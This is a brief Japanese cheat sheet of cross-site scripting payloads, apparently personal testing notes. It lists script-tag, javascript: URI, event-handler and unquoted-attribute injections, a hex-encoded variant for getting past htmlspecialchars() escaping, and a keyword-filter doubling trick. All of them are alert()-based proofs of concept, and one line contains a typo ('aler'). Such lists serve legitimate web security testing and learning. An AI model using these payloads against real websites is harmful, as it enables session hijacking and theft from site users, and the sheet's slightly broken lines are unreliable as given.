😴
XSS cheatsheet
- 基本
<script>alert(1);</script>
- <script>使わないもの
<iframe src="javascript:alert(1)">
javascript:alert(1);
- イベントハンドラ
<svg onload='alert(document.domain)'>
<xss onmouseover="alert(1)" style=display:block>test</xss>
123" onmouseover="alert(document.domain);
- 属性値は'"で囲う必要がない
a onmouseover=alert(document.domain);
a onwheel=alert(document.domain);
つまり入力は
<input value=a onmouseover=alert(document.domain);>
となる
- htmlspecialchars()などで変換されている時はいったんUTF-8,16で変換してみる
https://www.browserling.com/tools/utf8-encode
<script>alert(1);</script>
\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x31\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x0a
その他
- domainが削除される仕様のとき
alert(dodomainmain);
"><script>aler(document.domain)</script>
- `は"と/(区切り文字)としても機能する
``onmouseover=alert(document.domain);
-
p2の方でXSSを発火
-
Firefox's DOM Inspector tool
Discussion